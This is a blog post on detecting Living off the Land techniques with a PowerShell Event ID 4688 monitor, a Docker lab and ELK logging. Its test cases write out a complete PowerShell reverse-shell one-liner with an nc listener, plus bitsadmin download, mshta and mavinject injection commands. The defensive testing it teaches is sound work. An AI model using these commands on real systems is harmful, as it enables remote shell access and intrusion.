Understanding Living Off the Land (LotL) Techniques
During the SEC530 course I took a few weeks ago, one of the key takeaways was the importance of blue teaming and the continuous effort to secure and defend an organization’s perimeter. A significant aspect of this defense is understanding and detecting Living off the Land (LotL) techniques. These techniques are emphasized in SEC530 as critical to modern defense strategies.
LotL attacks utilize legitimate, built-in system tools to perform malicious actions, allowing adversaries to evade many conventional security mechanisms like antivirus software and endpoint protection systems. This method enables attackers to carry out actions like data exfiltration, privilege escalation, or persistence without the need to introduce foreign binaries that would raise suspicion.
LotL and Blue Teaming
Detection of LotL techniques is a vital part of blue teaming because it focuses on identifying and responding to adversarial behaviors that leverage standard system functionalities. Tools like powershell.exe, wmic.exe, cmd.exe, and rundll32.exe are examples of Windows utilities that are often used in LotL attacks. When defenders understand how these tools are exploited, they can better detect and mitigate these activities before they lead to a full-blown compromise.
In SEC530, we learned that building strong defenses requires not only identifying and blocking malware but also recognizing when built-in system utilities are being misused. Since these tools are often critical for legitimate administrative activities, monitoring for abnormal use is crucial for a well-rounded blue team defense.
The Principle of Least Privilege
The principle of least privilege is a foundational security practice that aims to minimize access rights for users to only what is necessary for their role. For example, an employee working in a non-IT capacity should not have access to PowerShell, cmd.exe, or any other administrative tools that are not relevant to their tasks. Restricting access to these tools significantly reduces the attack surface and limits the ability of an attacker to perform LotL attacks if they gain access to the system.
When LotL tools are detected, it might indicate an abnormality compared to the system’s baseline behavior. Even if these tools are legitimate, their unexpected use should prompt investigation to determine if malicious activity is occurring.
Why LotL Attacks Are Dangerous
Well-prepared threat actors understand that effective defenses can make it difficult to introduce their own tools. When this happens, they may turn to LotL techniques to establish persistence, escalate privileges, pivot across systems, or exfiltrate sensitive data. Detecting and responding to these tactics quickly is critical for minimizing potential damage.
LotL Detection Script Demonstration
This section introduces a PowerShell script that can help detect common LotL tools based on process creation auditing in Windows. The script logs detections, sends alerts via email, and can block suspicious processes depending on the severity level of the detected tool. The core of this script is based on Security Event ID 4688, which watches for the creation of new processes and compares them against a watchlist of known LotL executables.
How the Script Works
- Enables Process Creation Auditing: The script configures Windows to audit new process creation. This provides visibility into what executables are being run on the system.
- Enables Command Line Auditing: The script modifies the registry to include command-line details for each new process created, allowing for deeper analysis of process behavior.
- Monitors for LotL Executables: The script contains a predefined list of common LotL tools categorized by severity (High/Medium). When any of these tools are executed, it logs the event, sends a syslog message, and can email an alert.
- Responds Based on Severity: The script can terminate processes categorized as high severity while logging and alerting all other LotL detections.
- Email Alerts to Administrators: When suspicious activity is detected, an email is sent to a pre-defined address, ensuring rapid awareness and enabling an immediate response.
- Syslog Integration with ELK Stack: The script pushes event data to a centralized logging system like the ELK stack, which allows for enhanced visualization and triaging of potential threats. By leveraging Kibana dashboards, security teams can quickly filter, search, and analyze the logs to identify patterns and suspicious activities.
Clone my repository using the command below. With this, you will be able to see the main script (AdvancedLotLMonitor.ps1) plus the test environment.
Command (Powershell Window#1)
git clone https://github.com/mlesterdampios/lotl-detection.git
cd lotl-detection
tree /fOutput (Powershell Window#1)
PS C:\...> git clone https://github.com/mlesterdampios/lotl-detection.git
Cloning into 'lotl-detection'...
remote: Enumerating objects: 17, done.
remote: Counting objects: 100% (17/17), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 17 (delta 0), reused 17 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (17/17), 6.37 KiB | 724.00 KiB/s, done.
PS C:\...> cd lotl-detection
PS C:\...\lotl-detection> tree /f
Folder PATH listing for volume WORKSTATION
Volume serial number is 6A28-CD5C
C:.
│ AdvancedLotLMonitor.ps1
│ BuildAndRunLotLEnvironment.ps1
│ CleanupLotLEnvironment.ps1
│
├───c2-server
│ Dockerfile
│
├───elk
│ │ docker-compose.yml
│ │
│ └───logstash
│ └───config
│ logstash.conf
│ logstash.yml
│ pipelines.yml
│
└───malicious-server
Dockerfile
fake-malware.txtExpanding on the LotL Detection Script and the Test Environment
In addition to the PowerShell script for detecting LotL activities, you have a supporting script, BuildAndRunLotLEnvironment.ps1, which sets up a controlled environment for testing these techniques. This testing environment includes a simulated malicious server, a command-and-control (C2) server, and an ELK (Elasticsearch, Logstash, Kibana) stack for centralized logging and visualization.
BuildAndRunLotLEnvironment.ps1 Overview
The BuildAndRunLotLEnvironment.ps1 script is designed to quickly spin up a testing environment that emulates a realistic scenario where LotL activities might be used. Here’s how it works:
- Build Malicious Server and C2 Server Docker Images: The script navigates to the respective directories for the malicious server and C2 server, then builds Docker images for both using the
docker buildcommand. - Launch the ELK Stack: The script uses
docker-composeto start an ELK stack, which provides a centralized logging and visualization platform to monitor the system’s security events. - Run the Malicious Server and C2 Server Containers: After building the Docker images, the script runs the containers, mapping them to appropriate ports (8080 for the malicious server and 4444 for the C2 server).
- Wait for ELK Initialization: Since the ELK stack can take some time to initialize, the script includes a wait period to ensure all components are fully operational before proceeding.
- Check Status of Running Containers: The script checks the status of all Docker containers to confirm they are up and running as expected.
Command (Powershell Window#1)
PS: C:\...\lotl-detection> .\BuildAndRunLotLEnvironment.ps1Output (Powershell Window#1)
Running malicious server container...
...
Running c2 server container...
...
Waiting for ELK stack to initialize... (this may take a few minutes)
Displaying status of running containers:
...
All services are up and running.
Kibana is accessible at http://localhost:5601
The simulated malicious server is accessible at http://localhost:8080Accessing the Environment
- The ELK stack, including Kibana for log visualization, is accessible at
http://localhost:5601. - The simulated malicious server can be accessed at
http://localhost:8080.
Test Case#1: Establishing Reverse Shell using Powershell (without detection script)
Command (Powershell Window#2)
PS: C:\...\lotl-detection> docker psOutput (Powershell Window#2)
...
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
02728eaddd05 c2-server-sim "tail -f /dev/null" About a minute ago Up About a minute 0.0.0.0:4444->4444/tcp c2-server
...Copy the Container ID of c2-server-sim (Note: Output maybe different)
Command (Powershell Window#2)
PS: C:\...\lotl-detection> docker exec -it <Container_ID> /bin/shOutput (Powershell Window#2)
PS C:\...\lotl-detection> docker exec -it <Container_ID> /bin/sh
/ #Command (Powershell Window#2)
/ # nc -nlvp 4444Let Powershell Window#2 running.
Open a new Powershell window.
Command (CMD Window#3)
C:\...\lotl-detection> powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"Go back to Powershell Window#2. You should now see remote shell established. You can try sending command like whoami then exit.
Output (Powershell Window#2)
/ # nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 172.17.0.1 47878
SHELL> whoami
desktop-XXX\XXX
SHELL> exit
/ #We can confirm that reverse shell is now successfully established.
Test Case#2: Establishing Reverse Shell using Powershell (with detection script)
Command (Powershell Window#1)
PS: C:\...\lotl-detection> .\AdvancedLotLMonitor.ps1Output (Powershell Window#1)
2024-09-30 12:02:33.694 - Enabling process creation auditing...
2024-09-30 12:02:33.710 - Process creation auditing enabled. If this is your first time running this script, please restart to apply the Process Creation policy modification.
2024-09-30 12:02:33.712 - Enabling command line auditing...
2024-09-30 12:02:33.720 - Command line auditing enabled.
2024-09-30 12:02:33.734 - Starting LotL Detection script. Initial Record ID: 137700, Initial Event Time: 09/30/2024 12:02:32Let Powershell Window#1 running.
Repeat steps in Test Case#1.
After repeating Test Case#1, we expect that the shell will die, and alert will be generated and send both to email and syslog.
Output (Powershell Window#1)
2024-09-30 12:06:06.042 - Detected LotL execution: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe by ... (PID: 0xb3c, Parent: C:\Windows\System32\cmd.exe). Severity: High. CommandLine: powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
2024-09-30 12:06:06.046 - Syslog message sent.
2024-09-30 12:06:09.314 - Email alert sent.
2024-09-30 12:06:09.321 - Process 0xb3c (C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe) has been terminated due to high severity.Output (Powershell Window#2)
/ # nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 172.17.0.1 51094
SHELL> / #The script terminated the powershell process as it is considered a high severity.
Test Case#3: Using bitsadmin.exe to file transfer
Command (CMD Window#3)
C:\...\lotl-detection> bitsadmin.exe /transfer myDownloadJob /download /priority normal http://localhost:8080/fake-malware.txt C:\Users\Public\fake-malware.txt & timeout /t 150 > nulOutput (CMD Window#3)
DISPLAY: 'myDownloadJob' TYPE: DOWNLOAD STATE: TRANSFERRED
PRIORITY: NORMAL FILES: 1 / 1 BYTES: 36 / 36 (100%)
Transfer complete.
C:\...\lotl-detection>The process is not terminated nor blocked. However, it is logged as medium severity.
Test Case#4: Execution via mshta.exe
Command (CMD Window#3)
C:\...\lotl-detection> mshta.exe "javascript:alert('Test');"Output (Powershell Window#1)
2024-09-30 12:18:28.183 - Process 0x2330 (C:\Windows\System32\bitsadmin.exe) allowed to continue.
2024-09-30 12:26:29.066 - Detected LotL execution: C:\Windows\System32\mshta.exe by ... (PID: 0x325c, Parent: C:\Windows\System32\cmd.exe). Severity: High. CommandLine: mshta.exe "javascript:alert('Test');"
2024-09-30 12:26:29.068 - Syslog message sent.
2024-09-30 12:26:32.094 - Email alert sent.
2024-09-30 12:26:32.106 - Process 0x325c (C:\Windows\System32\mshta.exe) has been terminated due to high severity.The script terminated the process as it is considered a high severity.
Test Case#5: Process Injection via mavinject.exe
Command (CMD Window#3)
Get the PID of the process you want to inject to.
C:\...\lotl-detection> mavinject.exe <PID> /INJECTRUNNING C:\Windows\System32\notepad.exeOutput (Powershell Window#1)
2024-09-30 12:31:32.413 - Detected LotL execution: C:\Windows\System32\mavinject.exe by ... (PID: 0x1d94, Parent: C:\Windows\System32\cmd.exe). Severity: High. CommandLine: mavinject.exe 16292 /INJECTRUNNING C:\Windows\System32\notepad.exe
2024-09-30 12:31:32.416 - Syslog message sent.
2024-09-30 12:31:35.732 - Email alert sent.
2024-09-30 12:31:35.738 - Process 0x1d94 (C:\Windows\System32\mavinject.exe) is already terminated.The script terminated the process as it is considered a high severity.
The Power of ELK Stack for Event Triage and Threat Detection
An ELK stack (Elasticsearch, Logstash, Kibana) is a powerful and scalable logging solution that provides unparalleled visibility into system events and potential threats. Here are some key reasons why it is beneficial for triaging security events and responding to potential threats:
Centralized Logging and Data Aggregation
One of the core strengths of the ELK stack is its ability to centralize and aggregate logs from multiple sources, such as system events, application logs, network traffic, and security events. This centralization enables analysts to view a holistic picture of the environment in one place, providing context and reducing the need to jump between disparate systems when investigating incidents.
Advanced Search and Filtering
With Elasticsearch as the core engine, ELK allows for extremely fast and flexible querying of logs. You can quickly search for specific keywords, filter based on time ranges, or create complex queries that correlate data across multiple fields. For example, if you suspect an attack leveraging Living off the Land (LotL) techniques, you can instantly search for the execution of known LotL binaries across all logs and pinpoint their origin.
Real-Time Data Visualization and Dashboards
Kibana, the visualization component of ELK, enables you to create custom dashboards to represent data in real-time. This provides:
- Real-Time Alerts and Metrics: Easily track spikes in abnormal activities, such as unexpected process executions, privilege escalations, or anomalous network connections.
- Clear Visualizations: Graphs, charts, and heatmaps help highlight patterns and trends that could indicate a potential security incident.
- Dashboards for Multiple Scenarios: Dashboards can be tailored to specific types of data (e.g., system logs, authentication events, network traffic), allowing security teams to triage efficiently.
Correlating Events for Incident Response
A significant advantage of the ELK stack is its ability to correlate different types of events across multiple data sources. For example, if your LotL detection script sends syslogs to ELK, you can quickly correlate these alerts with other security logs like firewall logs, intrusion detection system alerts, or endpoint activity. This allows analysts to understand the full scope of an incident and quickly identify how a potential attacker may have gained access, moved laterally, or exfiltrated data.
Efficient Triage and Threat Investigation
When an alert is generated, the ELK stack allows for quick triage by:
- Providing Contextual Information: The ability to drill down into specific events, view their associated metadata, and understand their origin in context.
- Historical Data for Pattern Recognition: By having historical log data readily accessible, it is easier to identify patterns of repeated behavior that may indicate persistent threats or a slow-moving attack campaign.
- Automated Workflows and Integrations: Integrations with other security tools, such as security information and event management (SIEM) systems, ticketing systems, or threat intelligence platforms, can streamline the process of responding to an incident.
Customizable Alerting Mechanisms
Kibana can be configured to send alerts based on pre-defined thresholds or specific conditions (e.g., detecting a specific LotL tool execution). When the detection script pushes an alert to the ELK stack, it can trigger automated workflows, send notifications to administrators, or even initiate predefined response actions such as blocking an IP address or disabling a compromised account.
By leveraging the visualization, correlation, and alerting features of the ELK stack, security teams can rapidly triage events, identify suspicious behavior, and take timely action to mitigate potential threats. This makes ELK an invaluable tool for detecting, analyzing, and responding to complex and evolving security incidents.
Since we generated some alerts earlier, you can view the syslogs ingested by the ELK using your browser with the following URL:
http://localhost:5601/app/discoverIf you haven’t created a Data View yet, you can create one with the following Index Pattern: syslog-*
The custom syslog wasn’t perfect and it is just used for educational purposes only. The metadata needs to be cleaned in order for the ELK provide meaningful context.
Feel free to explore the ELK.
Cleanup
Stop the script running on Powershell Window#1. Then run .\CleanupLotLEnvironment.ps1
Output (Powershell Window#1)
PS C:\...\lotl-detection> .\CleanupLotLEnvironment.ps1
Stopping and forcefully removing containers...
Stopping the malicious server container...
malicious-server
malicious-server
Stopping the c2 server container...
c2-server
c2-server
Stopping the ELK container...
[+] Running 5/5
✔ Container logstash Removed 2.6s
✔ Container kibana Removed 0.9s
✔ Container elasticsearch Removed 2.8s
✔ Volume elk_esdata Removed 0.1s
✔ Network elk_default Removed 0.2s
Containers stopped and removed.
Removing malicious server image...
Untagged: malicious-url-sim:latest
Deleted: sha256:...
Untagged: c2-server-sim:latest
Deleted: sha256:...
Malicious server image removed.
Removing associated Docker volumes...
Associated volumes removed.
Retaining other images as per requirements.
Cleanup complete. All targeted containers, images (excluding other big images), and volumes have been forcefully removed.
PS C:\...\lotl-detection>Conclusion
Living off the Land (LotL) techniques represent a sophisticated approach used by attackers to blend into normal system activity and evade detection. As highlighted in SEC530, detecting these techniques is critical for any blue team aiming to defend the perimeter effectively. By understanding how threat actors exploit legitimate tools to carry out malicious activities, security teams can better monitor, alert, and respond to these subtle threats.
Implementing tools like the PowerShell detection script showcased above, combined with a powerful logging and analysis platform like the ELK stack, provides a strong foundation for recognizing and investigating anomalies that deviate from the baseline. This proactive monitoring is key to minimizing the potential damage from LotL attacks, improving the organization’s security posture, and ultimately strengthening the blue team’s ability to defend against evolving threats.
Security is an ongoing process, and as threat actors adapt, so too must defenders—continuously learning, adjusting defenses, and employing strategies that minimize risks while effectively responding to any indicators of compromise.
Areas for Improvement: Mitigating False Positives
While the PowerShell detection script provides a foundational approach to identifying Living off the Land (LotL) activities, it is not without limitations. One of the primary challenges of LotL detection is the high potential for false positives. Many of the tools flagged by the script, such as powershell.exe, cmd.exe, or schtasks.exe, are often used legitimately for administrative tasks, software installations, and system maintenance.
To enhance the script’s accuracy and reduce false positives, several improvements are necessary:
- Baseline Normal System Behavior: The script should incorporate a learning phase to understand normal process behavior within the environment. By building a baseline, it can better distinguish between legitimate uses of LotL tools and anomalous activity.
- Contextual Analysis: The script can be enhanced to consider the context in which a process is executed. This includes checking the command-line arguments, the parent process, the time of execution, and the user running the process. For example, running
powershell.exewith a suspicious script or command should be flagged, while running it with a known administrative script might be considered safe. - Whitelisting and User Role Verification: Incorporating a dynamic whitelist of known processes, users, and roles can help reduce false positives. If the script detects a LotL tool being used by a user in a non-IT role, it could trigger a higher severity alert compared to an administrator running a known maintenance task.
- Severity Levels and Automated Responses: Refining how severity levels are assigned to various LotL tools based on context would allow for a more nuanced response. For instance, blocking certain processes might be too aggressive and could disrupt normal operations. Instead, alerting and requiring manual investigation for certain cases can help verify if the activity is truly malicious.
- Periodic Review and Update of LotL Watchlist: Regularly updating the list of monitored LotL tools and refining detection rules based on threat intelligence is essential to adapt to evolving attacker techniques.
By implementing these improvements, the script can become more effective in detecting true LotL attacks while minimizing the noise of false positives, allowing security teams to focus their efforts on genuine threats. This process of continuous tuning is vital in maintaining an effective security posture.
Acknowledgments
A big thank you to SANS Institute, the authors of SEC530, headed by Ismael Valenzuela, and all the instructors for delivering such an insightful and practical course. The skills and knowledge shared throughout the training have greatly enhanced my understanding of blue teaming and modern defense techniques. The course’s hands-on approach and real-world examples have been invaluable, and I’m grateful for the opportunity to apply these lessons to enhance security practices. Thank you for your dedication and expertise in making the course a remarkable learning experience.